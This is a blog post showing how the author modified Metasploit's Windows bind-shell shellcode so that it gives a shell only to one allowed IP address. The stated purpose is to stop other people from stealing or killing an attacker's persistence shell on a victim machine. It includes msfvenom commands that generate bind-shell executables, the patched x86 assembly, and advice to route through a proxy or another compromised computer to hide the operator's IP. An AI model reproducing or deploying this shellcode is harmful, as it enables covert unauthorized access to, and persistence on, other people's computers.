Pages

Tuesday, February 25, 2014

Don't touch my shell: ACL Bind Shellcode

How many times have you used a bind shell as a persistence method? and how many of those times you have been restless thinking that someone could steal your shellcode? Personally, most of the times. Anyone snooping your target machine could get your shell using a simple netcat or even kill it with a routine Nmap scan. In the following example we have generated a bind shell (shell_bind_tcp) with a local port 12345. Once the victim (192.168.1.42) runs the payload, look what happens to the shell with the following scan:

root@krypton:~# msfvenom -p windows/shell_bind_tcp LPORT=12345 -f exe > 12345.exe
root@krypton:~# nmap -sT -p 12345 -PN 192.168.1.42 | grep open
12345/tcp open  netbus
root@krypton:~# nmap -sT -p 12345 -PN 192.168.1.42 | grep open
root@krypton:~#

The shell has gone! This is the reason why I made a shellcode that accepts requests only from the IP you want. Actually, I modified the Stephen Fewer shell_bind_tcp to add such functionality.  At first I thought to replace the accept() socket API by WSAAccept(). The reason is that this API provides a callback function that is called before a connection is accepted. Using this callback we can set conditions for accepting or not the connection (for example based on the client IP). However, implementing this in our shellcode would add too much extra weight. Since we are dealing with a single payload, where each byte is valuable, I finally opted for accept().

The syntax of this function is as follows:

SOCKET accept(
  _In_     SOCKET s,
  _Out_    struct sockaddr *addr,
  _Inout_  int *addrlen
)

The second argument allows us to specify a pointer to a sockaddr structure where the client IP and port of the incoming connection will be stored. Thanks to this pointer we can compare the allowed IP (embedded in our shellcode) with the one that established the connection. If both IP addresses do not match, the socket descriptor is closed by calling closesocket() and the accept() function is executed again to wait a new connection. Otherwise (if the IPs match) the shell is launched. Here, the .asm code to get this:

accept:
  push 0x10                       ; push the size of the buffer that receives the address (16 bytes)
  push esp                         ; push the pointer to the integer that contains the size of the buffer
  push esp                         ; push the pointer to the buffer that receives the address
  push edi                          ; push the listening socket descriptor
  push 0xE13BEC74         ; hash( "ws2_32.dll", "accept" )
  call ebp                           ; accept( s, 0, 0 );
  mov esi, 0x2101A8C0    ; copy the IP allowed to get the shell in ESI. By default is 192.168.1.33
  pop ebx                         ; pop in ebx the client IP returned in the stack
  cmp esi, ebx                   ; compare the client IP with the IP allowed
  jz closesocket                 ; if zero, keep working
  push eax                         ; if not zero, close the socket descriptor
  push 0x614D6E75          ; hash( "ws2_32.dll", "closesocket" )
  call ebp;                          ; closesocket( s );
  jmp accept                      ; wait for another connection

closesocket:
  push edi                         ; push the listening socket to close
  xchg edi, eax                  ; replace the listening socket with the new connected socket for further comms
  push 0x614D6E75         ; hash( "ws2_32.dll", "closesocket" )
  call ebp                          ; closesocket( s );

This change will mean an increase of 22 bytes respect to the classic bind shell. I'll try to optimize it more.

You can find the original code of the shell_bind_tcp in the
external/source/shellcode/windows/x86/src/single/single_shell_bind_tcp.asm file. Thanks to the way in which the asm code is segmented, the changes can be done easily without modifying the entire shellcode:

[BITS 32]
[ORG 0]

  cld                    ; Clear the direction flag.
  call start             ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start:                   
  pop ebp                ; Pop off the address of 'api_call' for calling later.
%include "./src/block/block_bind_tcp.asm"
  ; By here we will have performed the bind_tcp connection and EDI will be out socket.
%include "./src/block/block_shell.asm"
; Finish up with the EXITFUNK.

%include "./src/block/block_exitfunk.asm"

The code responsible for managing the socket (listen, bind, accept, etc.) is defined in src/block/block_bind_tcp.asm. Therefore you only need to modify this file. To make a call to certain API you will have to push the function hash value onto the the stack and make a "call ebp" (see for example the call to closesocket). The return value from that API will be in EAX. All this logic to itertate the export table, find the function and make the call is defined in src/block/block_api.asm.

To use the acl_bind_tcp, you just have to specify the AHOST argument (Allowed Host) indicating the privileged IP address; any other IP will be refused. Needless to say that if you do not want to embed your own IP in the shellcode you can use a proxy IP or even another compromised computer. Here's an example with msfvenom:

$ msfvenom -p windows/shell_acl_bind_tcp AHOST=192.168.1.33 LPORT=7651 -f exe > acl_bind.exe

Let's see what happens if we try to get the shell from 192.168.1.88


ESI contains our hardcoded allowed IP specified by AHOST (192.168.1.33). In EBP we have popped the client IP that established the connection. Since both are different, the condition fails and the socket is closed by calling closesocket(). Then we call accept() again to wait for another connection. Otherwise we jump to 0040417F to keep working and to give the user his shell.

No comments:

Post a Comment